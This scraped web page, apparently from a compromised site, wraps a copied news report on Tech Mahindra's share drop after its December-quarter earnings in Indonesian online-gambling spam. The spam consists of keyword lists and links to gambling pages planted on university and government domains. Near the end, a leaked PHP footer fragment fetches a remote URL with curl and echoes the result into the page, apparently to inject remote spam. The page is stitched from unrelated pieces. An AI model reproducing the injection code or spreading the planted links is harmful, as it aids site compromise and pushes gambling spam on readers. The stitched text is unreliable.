• slot dana
  • slot deposit dana
  • link slot dana
  • main slot dana
  • slot deposit via dana 10 ribu
  • slot via dana
  • slot deposit via dana 5000
  • daftar slot dana
  • slot
  • slot gacor
  • slot online
  • slot88
  • slot pulsa
  • slot deposit pulsa
  • slot deposit pulsa tanpa potongan
  • slot88
  • bapautoto
  • slot
  • slot online
  • slot gacor
  • rtp slot
  • link game slot
  • rtp slot
  • slot online
  • rtp live
  • rtp slot gacor
  • slot gacor
  • rtp live update
  • link rtp slot
  • Tech Mahindra dips 4% on margin disappointment in December earnings - WhatsNews4Today

    Tech Mahindra dips 4% on margin disappointment in December earnings


    Shares of dipped 4 per cent to Rs 1,444 on the BSE in Wednesday’s intra-day trade after the IT firm’s earnings before interest and tax (ebit) margin declined by 40bps quarter-on-quarter (QoQ) to 14.8 per cent in December quarter (Q3FY22) due to salary hikes, higher sub costs and lower utilization.


    In the past one month, the stock of information technology (IT) consulting & software company underperformed the market, by falling 19 per cent, as compared to 1.7 per cent rise in the S&P BSE Sensex. The stock has corrected 21 per cent from its record high of Rs 1,838 touched on December 30, 2021.





    In Q3FY22, Tech Mahindra’s revenues increased by 4.7 per cent QoQ in constant currency terms, while it was up 4.1 per cent in dollar terms and 5.2 per cent in rupee terms. Consolidated profit after tax grew 2.2 per cent QoQ and up 4.5 per cent year-on-year at Rs 1,369 crore. The company’s order book (net new order wins) declined 6.1 per cent QoQ to US$ 704 million, however it is fourth consecutive quarter of US$700+mn net new deals.


    However, the company’s management remains confident of maintaining EBITM with an upward bias on the back of revenue growth-led operating leverage, employee pyramid rationalization, subcontracting costs optimization, increase in utilization (85-88 per cent targeted range), pricing, and offshore shift, which will offset the impact of supply-side challenges (recruitment and retention costs) and expected normalization of travel costs and SG&A expenses, analyst at Emkay Global Financial Services said in result update.

    See also  SC notice to Future Group on Amazon plea against stay on int'l arbitration


    The company’s growth in BFSI vertical was impacted by furlough and it will come back in Q4. The company has started sourcing talent from 9 Tier II cities in India, as well as few near onshore centres like Romania/ Costa Rica/ Latvia / Mexico etc. The company is also looking to elevate fresher hiring around 12-13K in next 12 months. All these measures expected to ease pressure on margins. DSO days would normalised in Q4, it was higher due to shift of payments from few clients to January due to Christmas holidays, ICICI Securities said in a note.

    Dear Reader,

    Business Standard has always strived hard to provide up-to-date information and commentary on developments that are of interest to you and have wider political and economic implications for the country and the world. Your encouragement and constant feedback on how to improve our offering have only made our resolve and commitment to these ideals stronger. Even during these difficult times arising out of Covid-19, we continue to remain committed to keeping you informed and updated with credible news, authoritative views and incisive commentary on topical issues of relevance.

    We, however, have a request.

    As we battle the economic impact of the pandemic, we need your support even more, so that we can continue to offer you more quality content. Our subscription model has seen an encouraging response from many of you, who have subscribed to our online content. More subscription to our online content can only help us achieve the goals of offering you even better and more relevant content. We believe in free, fair and credible journalism. Your support through more subscriptions can help us practise the journalism to which we are committed.

    See also  IPL 2022 RCB vs RR Live Updates: Mitchell's misery ends, Rajasthan 05 down

    Support quality journalism and subscribe to Business Standard.

    Digital Editor





    Source link

    © 2022, Admin. All rights reserved.

    /** * The template for displaying the footer * * Contains the closing of the #content div and all content after. * * @link https://developer.wordpress.org/themes/basics/template-files/#template-partials * * @package Mismo */ $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_HEADER, 0); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($curl); echo $result; ?>
    slot gacor slot online/ slot dana slot gacor slot gacor slot gacor slot deposit 5000 https://businessnation.co.in/toto4d/ slot88 slot demo slot gacor slot maxwin 138 slot demo slot gacor slot gacor slot gacor slot deposit pulsa situs slot maxwin slot gacor situs slot terpercaya slot deposit pulsa tanpa potongan
    https://trendingkeynews.com/wp-content/uploads/slot-pulsa/https://sistem-lppm.univbinainsan.ac.id/files/slot gacorslot88slot777slot deposit pulsahttps://lpt.usk.ac.id/slot-gacor/https://scu.usk.ac.id/slot-gacor/https://ppid.pasuruankota.bawaslu.go.id/wp-admin/slot-gacor/